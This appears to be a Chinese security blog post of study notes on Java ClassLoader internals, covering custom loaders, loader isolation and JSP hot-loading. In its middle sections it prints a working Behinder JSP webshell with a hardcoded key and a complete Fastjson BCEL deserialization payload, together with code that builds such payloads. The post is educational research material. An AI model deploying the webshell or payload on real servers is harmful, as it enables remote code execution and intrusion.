Day1-javasec-ClassLoader

  • fastjson的bcel流跟踪
  • Xalan ClassLoader流跟踪
  • jsp类加载
  • 链接: https://zhishihezi.net/endpoint/richtext/76290e1cf5ea224079c2e19ef2984523?event=436b34f44b9f95fd3aa8667f1ad451b173526ab5441d9f64bd62d183bed109b0ea1aaaa23c5207a446fa6de9f588db3958e8cd5c825d7d5216199d64338d9d00f31548dfe08150ea441b2e8b5b1ff2815007ee7d0070dfde1640b5779eca8d36254c858bd38596ae8769abdaece4c94fe1f64ee5f89a14f9f2c51b1e7fd51abb32b4fdde0084702d700490f389f94bbcb75cffaba1f0a15ef9612b9bec4f37f28f6a5060234a20e387783a74eb2e82a5d315a41691227b1cbf9f2c73ea76d37b74120cf26a4df8d4d2392b651c89e69ff8053508331e44e6a55c9a8abcccf65ab715e389a54ee481c5d4f195955782dcbb795a6251c1c74cd16e7800b57d4871#10
    不懂就问: 这真的时入门吗?

学习https://zhishihezi.net/b/5d644b6f81cbc9e40460fe7eea3c7925

ClassLoader

jvm的架构图

img

运行流程:

编译javac -> class文件 -> java.lang.ClassLoader 加载字节码 -》 defineClass0/1/2)来定义一个java.lang.Class实例

1. ClassLoader

分类:

Bootstrap ClassLoader(引导类加载器)
Extension ClassLoader(扩展类加载器)
App ClassLoader(系统类加载器)

获取系统默认支持的加载器

System.out.println(ClassLoader.getSystemClassLoader());
sun.misc.Launcher$AppClassLoader@18b4aac2

注意🌉

有时候获取的ClassLoader 返回null,因为是native层的代码,所以。

ClassLoader的方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

ps: 链接指的是将Java类的二进制代码合并到JVM的运行状态之中的过程。

2. java类加载

两种 :

  1. 显式:反射 + ClassLoader

    Class.forname(""); //默认初始化静态属性
    this.getClass().getClassLoader().loadClass();//不初始化
    
  2. 隐式 : new + class

详细介绍一下ClassLoader加载类的过程:

  1. 首先ClassLoader 调用findLoadedClass 查看该类是否已经被加载,如果有之间返回,不会
  2. 如果传入了父类ClassLoader 就调用父类的loadclass 方法,否则使用Bootstrap ClassLoader
  3. 如果还未能加载该类的话,那么调用自身的findClass方法尝试加载
  4. 如果该类被重载,就去寻找该类的字节码文件,然后去jvm注册该类
  5. 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。

3. 自定义ClassLoader

用于加载jar包的java.net.URLClassLoader

public class TestClassLoader extends ClassLoader {
@Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }
}

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象

4. 类加载隔离

🅰️不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

image-20211025171150475

package com.dem0.ClassLoader;

import java.lang.reflect.Method;
import java.util.Calendar;

import static com.dem0.ClassLoader.TestClassLoader.testClassBytes;
import static com.dem0.ClassLoader.TestClassLoader.testClassName;
public class TestCrossClassLoader {
    public static class ClassLoaderA extends ClassLoader{
        public ClassLoaderA(ClassLoader parent){
            super(parent);
        }
        {
            defineClass(testClassName,testClassBytes,0, testClassBytes.length);
        }
    }

    public static class  ClassLoaderB extends ClassLoader{
        public ClassLoaderB(ClassLoader parent){
            super(parent);
        }
        {
            defineClass(testClassName,testClassBytes,0, testClassBytes.length);
        }
    }

    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        //获取父类的类加载器
        ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
        //实例化两个类加载器
        ClassLoader aClassLoader = new ClassLoaderA(parentClassLoader);
        ClassLoader bClassLoader = new ClassLoaderB(parentClassLoader);
        //实例化test
        Class<?> aClass  = Class.forName(testClassName, true, aClassLoader);
        Class<?> aaClass = Class.forName(testClassName,true,aClassLoader);
        Class<?> bClass = Class.forName(testClassName,true,bClassLoader);

        System.out.println("aClass == aaClass : " + (aClass == aaClass));
        System.out.println("aClass == bClass :  " + (aaClass == bClass));

        System.out.println("\n" + aClass.getName() + "方法清单:");
        Method[] methods = aClass.getDeclaredMethods();

        for (Method method : methods) {
            System.out.println(method);
        }

        // 创建类实例
        Object instanceA = aClass.newInstance();

        // 获取hello方法
        Method helloMethod = aClass.getMethod("hello");
    }
}

可以看到这里面的a和b是同一级的加载器 他们的加载出来的class是不一样。

5. 冰蝎jsp

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {

        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

可以看到就是一个类加载器加载请求中的字节码来达到rce的作用。

6. BCEL ClassLoader

BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被利用来写payload。

如果被加载的类名中包含了$$BCEL$$关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类。

🅰️ 特性:

当BCEL的loadCLass 加载的类名中包含$$BCLE$$时,会截取出后面的数据解码成字节码然后用defineClass注册解码后的类

🅱️影响版本:

BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了,

⚪️示例:

{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85R$5bO$TA$U$fe$a6$z$dde$bbXX$$$e2$F$z$8aPJ$e9r$x$X$r$3e$d8$60$a2$U1$b6$b1$89o$d3$e9$a4$ynw$9b$dd$a9$c2$l1$f1$X$f0$cc$L$S$l$fc$B$fe$p$l4$9e$5d$h$U$rqvsf$ce7$e7$7c$e7$9b$99$f3$f5$c7$e7$_$AV$b0i$m$8b$9b$3an$e9$b8m$60$Kwt$dc5$90$c3$b4$8e$7b$3a$ee$eb$981$f0$A$b3$91$99$d3$907$60b$5eCA$c3$CCz$db$f1$i$f5$98$n$99$9f$7f$cd$90$aa$f8$z$c9$90$ad$3a$9e$7c$d1$eb4eP$e7M$97$Q$7d$5b$b8$fd$c8$a1$9a$e2$e2$ed$k$ef$c6$5b$g$8a$c4$c9$60$d4$fc$5e$m$e4S$t$8a$b6$ea2TO$w$3b$d5$8a$cb$c3$b0t$c8$dfq$T$c3$Ya$98$f0$bb$d2$cb$z$f2$5c$85$bb$a2$e7r$e5$H$r$de$ed2h$7eX$f2x$87$f8$WM$94$60$T$d2p$bc$96$ff$3e$a4$K$s$96$b0L$c9$82$92r$cb$x$abk$e5$f5$8d$cd$ad$a5$fe$8aa$80$f4$f6$8e$Y$c6D$_ps$aeOq$H$7e$a8$kn$d1$b05$ac$98X$c5$9a$892$d6$ZF$p5$b6$e3$db$cf$f6w$8e$84$ec$w$c7$f7LlD$e2$e6$84$df$b1$b9$d7$e4$8e$jJa$8bH$bc$eb$f3$96$M$ecK$Hb$Y$8eI$5c$ee$b5$ed$fd$e6$a1$U$ea$STS$81$e3$b5$_C$c7$a1$92$j$86L$5b$aa$97$B$5dB$a0$8e$Zf$f3$d5$bf$b3$k$cd$ff$L$d1$ed$86$8a$H$wl8$ea$80a$fc$aa$ac7$M$p$bf$d1W$3dO9$jz$J$83$ea$5d8$e3$f9$3f$c9$fb0$b1$a7$e4$91$Ut$fc$ff$a8$n$ddB$86$n$rd$bb$b4$a9$e2$3e$a8$H$5cHL$e3$g$f5$604$S$60$d1K$93$b5$c8$9b$a2$99$d1$3cP$f8$EvJ$L$ba$7f$b2$e9_$mt$8c$5d$84$7e$a0$d4$q$cde$x$b1k$r$cf$91$aa$$X$DgH$7f$c4$a0$a5$ed$9e$m$bb$60$e9$b1$9b$b6$Gw$cfa$U$ce$90i$9c$40$df$x$9ea$e8$94HfP$84M$bd$9d$88K$94$90$n$ab$T$e5$m$7d$Z$wab$SC$b1$d2$Z$f2$8a$Y$a7$e8Qj$ac1$aca$82$3c$90$97$fa$8eI$N$T$f4g$9ek$b8$fe$N$v$o$9e$8c$8fu$e3$t$b2$b7e$b6p$D$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}

这是Fastjson(1.1.15 - 1.2.4)的一条链子。 我们必须明白Fastjson的特性自调用setter和getter方法

这里: 他就会调用org.apache.commons.dbcp.BasicDataSource 修改他的driverClassNamedriverClassLoader 单从这里来说,并不足以来触发反序列化。

🔴FastJson会自动调用getter方法,org.apache.commons.dbcp.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,详情参见:com.alibaba.fastjson.util.TypeUtils#computeGetters,因此FastJson最终还是调用了getConnection()方法。

学习一下快速生成json的payload

        // 构建恶意的JSON
        Map<String, Object> dataMap        = new LinkedHashMap<String, Object>();
        Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();

        dataMap.put("@type", BasicDataSource.class.getName());
        dataMap.put("driverClassName", className);

        classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
        dataMap.put("driverClassLoader", classLoaderMap);

        String json = JSON.toJSONString(dataMap);
        System.out.println(json);

7. Xalan ClassLoader

private Properties _outputProperties;属性与getOutputProperties()关联映射(FastJson的smartMatch()会忽略_-is(仅限boolean/Boolean类型)

8. JSP类加载

🅰️当Servlet容器发现JSP文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待GC。

package com.anbai.sec.classloader;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.io.File;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;

public class TestJSPClassLoader {

    /**
     * 缓存JSP文件和类加载,刚jsp文件修改后直接替换类加载器实现JSP类字节码热加载
     */
    private final Map<File, JSPClassLoader> jspClassLoaderMap = new HashMap<File, JSPClassLoader>();

    /**
     * 创建用于测试的test.jsp类字节码,类代码如下:
     * <pre>
     * package com.anbai.sec.classloader;
     *
     * public class test_jsp {
     *     public void _jspService() {
     *         System.out.println("Hello...");
     *     }
     * }
     * </pre>
     *
     * @param className 类名
     * @param content   用于测试的输出内容,如:Hello...
     * @return test_java类字节码
     * @throws Exception 创建异常
     */
    public static byte[] createTestJSPClass(String className, String content) throws Exception {
        // 使用Javassist创建类字节码
        ClassPool classPool = ClassPool.getDefault();

        // 创建一个类,如:com.anbai.sec.classloader.test_jsp
        CtClass ctServletClass = classPool.makeClass(className);

        // 创建_jspService方法
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "_jspService", new CtClass[]{}, ctServletClass);
        ctMethod.setModifiers(Modifier.PUBLIC);

        // 写入hello方法代码
        ctMethod.setBody("System.out.println(\"" + content + "\");");

        // 将hello方法添加到类中
        ctServletClass.addMethod(ctMethod);

        // 生成类字节码
        byte[] bytes = ctServletClass.toBytecode();

        // 释放资源
        ctServletClass.detach();

        return bytes;
    }

    /**
     * 检测jsp文件是否改变,如果发生了修改就重新编译jsp并更新该jsp类字节码
     *
     * @param jspFile   JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在
     * @param className 类名
     * @param bytes     类字节码
     * @param parent    JSP的父类加载
     */
    public JSPClassLoader getJSPFileClassLoader(File jspFile, String className, byte[] bytes, ClassLoader parent) {
        JSPClassLoader jspClassLoader = this.jspClassLoaderMap.get(jspFile);

        // 模拟第一次访问test.jsp时jspClassLoader是空的,因此需要创建
        if (jspClassLoader == null) {
            jspClassLoader = new JSPClassLoader(parent);
            jspClassLoader.createClass(className, bytes);

            // 缓存JSP文件和所使用的类加载器
            this.jspClassLoaderMap.put(jspFile, jspClassLoader);

            return jspClassLoader;
        }

        // 模拟第二次访问test.jsp,这个时候内容发生了修改,这里实际上应该检测文件的最后修改时间是否相当,
        // 而不是检测是否是0,因为当jspFile不存在的时候返回值是0,所以这里假设0表示这个文件被修改了,
        // 那么需要热加载该类字节码到类加载器。
        if (jspFile.lastModified() == 0) {
            jspClassLoader = new JSPClassLoader(parent);
            jspClassLoader.createClass(className, bytes);

            // 缓存JSP文件和所使用的类加载器
            this.jspClassLoaderMap.put(jspFile, jspClassLoader);
            return jspClassLoader;
        }

        return null;
    }

    /**
     * 使用动态的类加载器调用test_jsp#_jspService方法
     *
     * @param jspFile   JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在
     * @param className 类名
     * @param bytes     类字节码
     * @param parent    JSP的父类加载
     */
    public void invokeJSPServiceMethod(File jspFile, String className, byte[] bytes, ClassLoader parent) {
        JSPClassLoader jspClassLoader = getJSPFileClassLoader(jspFile, className, bytes, parent);

        try {
            // 加载com.anbai.sec.classloader.test_jsp类
            Class<?> jspClass = jspClassLoader.loadClass(className);

            // 创建test_jsp类实例
            Object jspInstance = jspClass.newInstance();

            // 获取test_jsp#_jspService方法
            Method jspServiceMethod = jspClass.getMethod("_jspService");

            // 调用_jspService方法
            jspServiceMethod.invoke(jspInstance);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        TestJSPClassLoader test = new TestJSPClassLoader();

        String      className   = "com.anbai.sec.classloader.test_jsp";
        File        jspFile     = new File("/data/test.jsp");
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();

        // 模拟第一次访问test.jsp文件自动生成test_jsp.java
        byte[] testJSPClass01 = createTestJSPClass(className, "Hello...");

        test.invokeJSPServiceMethod(jspFile, className, testJSPClass01, classLoader);

        // 模拟修改了test.jsp文件,热加载修改后的test_jsp.class
        byte[] testJSPClass02 = createTestJSPClass(className, "World...");
        test.invokeJSPServiceMethod(jspFile, className, testJSPClass02, classLoader);
    }

    /**
     * JSP类加载器
     */
    static class JSPClassLoader extends ClassLoader {

        public JSPClassLoader(ClassLoader parent) {
            super(parent);
        }

        /**
         * 创建类
         *
         * @param className 类名
         * @param bytes     类字节码
         */
        public void createClass(String className, byte[] bytes) {
            defineClass(className, bytes, 0, bytes.length);
        }

    }

}

需要理解Javassist动态产生新的类以及生成相应的字节码文件。

以上代码大致分为以下几步:

  1. 模拟用户第一次访问jsp

  2. 检查是否有该jsp的缓存,有就拿出来用,没有就创建

  3. 创建test.jsp文件专用的类加载器jspClassLoader,并缓存到jspClassLoaderMap对象中

  4. jspClassLoader加载对应的字节码文件并创建com.anbai.sec.classloader.test_jsp

  5. 并且为他生成__jsp_service方法。

  6. 第二次就是同样的道理
    reateClass(String className, byte[] bytes) {
    defineClass(className, bytes, 0, bytes.length);
    }

    }

}


需要理解**Javassist**动态产生新的类以及生成相应的字节码文件。

以上代码大致分为以下几步:

1. 模拟用户第一次访问jsp
2. 检查是否有该jsp的缓存,有就拿出来用,没有就创建
3. 创建test.jsp文件专用的类加载器`jspClassLoader`,并缓存到`jspClassLoaderMap`对象中
4. jspClassLoader加载对应的字节码文件并创建com.anbai.sec.classloader.test_jsp
5. 并且为他生成__jsp_service方法。
6. 第二次就是同样的道理
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值